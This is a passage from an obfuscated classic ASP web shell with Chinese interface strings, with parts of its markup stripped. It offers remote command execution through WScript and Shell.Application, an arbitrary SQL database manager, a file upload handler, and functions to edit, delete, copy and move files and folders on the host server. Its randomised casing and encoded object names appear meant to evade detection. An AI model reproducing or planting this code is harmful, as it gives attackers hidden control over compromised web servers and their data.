call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true)
set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0)
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&""
si=si&aaa
si=si&chr(13)&""
case "shell.application","shell.application.1"
set seshell=server.createobject(request("cmdtype"))
seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0
si=si&" "
jb""
if instr(SI,SIC)<>0 then jb sI
end if
response.end
end if
Function DBmaNaGer()
sqlstr=tRIm(REQueST.fOrm("SqlStr"))
dbStr=REquesT.FORM("DbStr")
si=Si&"
"
sI=SI&"
"
echo sI:SI=""
IF LeN(DBstR)>40 thEN
set cONn=CREatEObjEct(OBT(5,0))
Conn.OPEN DBsTr
SEt Rs=CoNn.OPENschEmA(20)
si=Si&"
表 名
"
Rs.MovEfirst
DO whIlE not RS.EOF
IF Rs("TABLE_TYPE")="TABLE" tHEN
tNAMe=rS("TABLE_NAME")
SI=sI&"
"
jb si:si=""
If LEn(SQLsTR)>10 tHen
If LCaSe(lEfT(sQLstr,6))="select" Then
SI=Si&"执行语句："&sQLStr
set rs=cReatEobject("Adodb.Recordset")
rS.OPeN SqLsTR,cONn,1,1
Fn=RS.FIeLDs.cOUNT
RC=rS.rECoRDcOUnt
Rs.PaGesIZe=20
CounT=Rs.pagEsIze
pN=RS.pagECOuNT
page=rEqUesT("Page")
IF PAge<>"" TheN pAGE=ClNg(pAGe)
if PAge="" Or pAGE=0 TheN Page=1
if paGe>pN then page=PN
iF PaGe>1 tHEn rS.ABsoLUTepAGe=PaGE
Si=SI&"
"
FoR n=0 to FN-1
SEt flD=rS.fIeldS.Item(n)
si=Si&"
"&fld.NAMe&"
"
set fLd=noTHinG
nEXt
sI=sI&"
"
Do WhILe nOt(rs.Eof oR Rs.BOF) And COunt>0
count=CounT-1
bgcoLOR="#EFEFEF"
SI=sI&"
x
"
FoR I=0 TO fn-1
IF bGCOlOR="#EFEFEF" tHEn:BgColoR="#F5F5F5":ELsE:BgcoLOR="#EFEFEF":EnD iF
iF rC=1 tHeN
COlInFO=HTmlencoDe(rS(I))
elsE
cOliNFO=HTmleNCode(lEft(rS(I),50))
eNd iF
sI=SI&"
记录数："&rC&" 页码："&PAgE&"/"&Pn
If pn>1 THEN
si=si&" 首页上一页 "
IF paGE>8 tHEn:sP=pagE-8:Else:SP=1:eND iF
for i=sp To sp+8
if i>pN THEn EXIt FOr
If i=pAgE theN
sI=si&I&" "
ELSE
sI=si&""&I&" "
EnD iF
next
SI=SI&" 下一页尾页"
End IF
si=sI&"
"
rS.CLOSe:Set rs=NotHiNG
jb sI:si=""
elSe
CONN.ExecUtE(sqlSTR)
si=sI&"SQL 语句："&SqLstr
EnD IF
jb si:Si=""
enD if
CoNn.clOsE
Set COnN=NotHiNg
End If
End Function
DIm t1
CLASS uPc
DIM d1,d2
pUBlic FunctIOn fOrM(f)
F=lCAsE(F)
if D1.EXiSTS(f) THEn:fOrM=D1(F):ELsE:fOrm="":End if
ENd fuNCTion
pUBLIc fuNcTiON UA(f)
F=lcASE(F)
If D2.EXIsTs(f) tHeN:SEt UA=d2(f):ElSe:set uA=neW fIF:End IF
end fUNCtion
pRIVATe sUB CLaSs_INitIALizE
dIM tDa,Tst,vBcRlF,tiN,diEnD,t2,TLen,tfl,sfv,FSTart,fEnD,dstArT,deNd,UpNAMe
SeT d1=cREateOBJECt(Obt(4,0))
If requESt.TOTalBYTes<1 THen ExiT suB
sEt T1 = crEateOBjECT(oBt(6,0))
T1.tYpe = 1 : t1.MODE =3 : T1.OPEn
T1.wrIte REquESt.bINaryrEAd(rEqUEsT.tOtAlBytES)
t1.posITiON=0 : Tda =T1.ReAd : DsTarT = 1
Dend = LeNB(tDa)
seT d2=CReatEOBJECt(OBt(4,0))
VBcrlF = ChRB(13) & chrB(10)
SET t2 = CReAtEobjeCT(oBt(6,0))
Tst = MIdB(tdA,1, InStRB(DsTaRT,tdA,Vbcrlf)-1)
TlEN = LENb (Tst)
DSTArT=Dstart+TLeN+1
WhIlE (dstarT + 10) < dEND
diEND = instrB(DStArT,tdA,vBCRlf & vBcrlF)+3
T2.tYPE = 1 : T2.MODE =3 : t2.open
t1.PoSITIon = DStaRT
T1.CopyTo T2,DieNd-dStart
t2.POSITiOn = 0 : t2.tYPe = 2 : T2.cHARSet ="gb2312"
TIN = t2.reAdTexT : T2.CLOSe
DStart = inStRB(dieNd,TDA,tSt)
FStarT = INsTR(22,tiN,"name=""",1)+6
fEND = INstr(FSTART,tiN,"""",1)
uPnAme = LCaSe(MId (TIn,FsTarT,FENd-FstArT))
iF INstr (45,tin,"filename=""",1) > 0 tHeN
Set Tfl=nEW FIf
FsTART = iNStR(Fend,tin,"filename=""",1)+10
FENd = INSTr(fstarT,TIn,"""",1)
fstaRt = insTr(FEnd,TIN,"Content-Type: ",1)+14
FEnD = iNStr(FSTArT,tIN,VbCR)
tfl.FiLesTart =dienD
TFl.FIlESIzE = dSTArt -DienD -3
iF noT D2.eXiSTS(UPnAmE) TheN
D2.aDD uPNAmE,tFl
eND iF
else
T2.tyPE =1 : T2.MOdE =3 : t2.Open
T1.PositiOn = DieND : t1.coPytO T2,dstArt-dIeND-3
t2.POSitIoN = 0 : t2.tyPe = 2
t2.CHaRSET ="gb2312"
SFv = T2.ReadtexT
T2.CLOse
If d1.eXiStS(UPnAME) theN
D1(UpnAMe)=d1(UPnamE)&", "&SfV
ELse
d1.Add UPNAmE,sfv
ENd If
ENd iF
dsTart=DstarT+tLeN+1
wENd
Tda=""
Set T2 =nothinG
End SuB
pRIVATE SuB CLasS_tErminATe
IF rEQUeST.ToTaLbyTes>0 THEn
D1.remOvEAll:d2.RemoVEAll
sEt D1=NOthIng:sEt D2=nothinG
T1.cLOsE:SeT T1 =NOtHIng
end iF
END SuB
EnD Class
ClAsS Fif
dIm FileSIzE,FilEStART
pRiVAtE suB ClasS_INITiAliZe
fILesiZE = 0
filesTaRT= 0
ENd sub
pUBlIc fUnctiOn sAvEAs(F)
dim t3
Saveas=tRUe
IF tRim(f)="" OR filestArt=0 THEN exIT FUNcTIOn
sET t3=crEAteobjECt(oBT(6,0))
t3.moDe=3 : t3.tyPe=1 : T3.OPEn
T1.PoSiTIoN=fiLeStarT
t1.copyTo T3,fILEsIZE
t3.SAVeTofILE f,2
T3.ClOsE
sEt T3=NOthiNg
saVeas=fAlSE
ENd FunCtIon
End claSs
cLASS Lbf
DIm CF
PrIVate suB class_InitIALIZe
sEt cf=cReAtEoBjeCt(Obt(0,0))
enD sUB
PrIvATe Sub cLass_TERMInAte
sET cf=NOtHINg
end sUB
fUNCTion shoWDrIVeR()
For EaCH d In cF.drIves
jb" 本地-磁盘 ("&D.dRIvELEtteR&":) "
nexT
ENd fUncTIOn
funcTiOn shOW1fiLE(PAth)
jb"
"
echo si:Si=""
nExt
sEt FOlD=NoTHIng
EnD fUNctiON
fuNcTiOn DeLFilE(pATh)
IF cf.fIlEexIsts(paTh) then
Cf.DelEtEFile paTh
sI="
文件 "&pATH&" 删除 成功！
"
Si=Si&BaCkURL
jb Si
EnD iF
End Function
Function EDitfIlE(path)
if reqUest("Action2")="Post" then
SeT T=Cf.cReAteTExtFiLe(paTH)
T.wrIteLinE ReQUEsT.FoRM("content")
T.CLoSE
Set T=NOTHinG
sI="
文件 保存 成功！
"
getHTTPPage flase
sI=si&baCKurl
jb si
ResPonse.eNd
end IF
IF pAtH<>"" then
Set T=cF.OpENTeXTfiLe(pATH, 1, fAlSE)
TxT=htmLencoDE(t.rEaDaLL)
T.cLOSe
SeT t=nothing
elSe
path=sesSIOn("FolderPath")&"\newfile.asp":Txt="新建 文件"
End If
sI=si&""
jb si
EnD fuNCTiON
fuNctiON CoPyfILe(pATh)
pAth = SPLIT(pAtH,"||||")
If cF.FileExiSTS(PAth(0)) ANd path(1)<>"" THEN
cF.copYFIlE patH(0),pATH(1)
si="
文件"&patH(0)&"复制 成功！
"
SI=si&backurL
jb sI
enD IF
eND fUnCTIOn
FuNctioN movEFiLE(PaTh)
PaTh = SPlit(patH,"||||")
if cF.FIleExIstS(pATh(0)) ANd path(1)<>"" THEN
Cf.mOVEfILe pAth(0),pAth(1)
Si="
文件"&paTh(0)&"移动 成功！
"
Si=SI&baCkuRl
jb Si
eND If
EnD FuNCtioN
FUNCtiON DELFoLdeR(pATh)
If cF.FolderExists(PATH) THEn
cF.DELetefOlDeR paTH
si="
目录"&paTH&"删除 成功！
"
Si=Si&BacKuRl
jb sI
End if
end fUNCtiOn
FunCTiON cOPYFolDER(PatH)
pAtH = SpliT(PAth,"||||")
iF cf.FolderExists(paTh(0)) anD PATh(1)<>"" ThEn
cF.CopYFOlDEr paTh(0),pAth(1)
si="
目录"&Path(0)&"复制 成功！
"
si=si&BaCkUrl
jb si
END iF
END fUncTIoN
FUnctION MOvEfolDER(PATh)
Path = SPlIt(PAth,"||||")
iF cf.FolderExists(paTH(0)) And Path(1)<>"" tHEN
CF.MoVeFOLDeR pATh(0),patH(1)
Si="
目录"&Path(0)&"移动 成功！
"
sI=sI&BaCKURL
jb Si
END if
ENd Function
FuNcTiON NEWfoLder(PaTh)
iF noT cF.FolDERexists(pATH) and pAth<>"" tHEN
Cf.CreATeFOldER PatH
SI="
目录"&PATH&"新建 成功！
"
si=SI&baCkurl
jb sI
END If
eNd FUNCtION
End CLAsS
sub shellcore
end sub
sub ReadREG()
jb "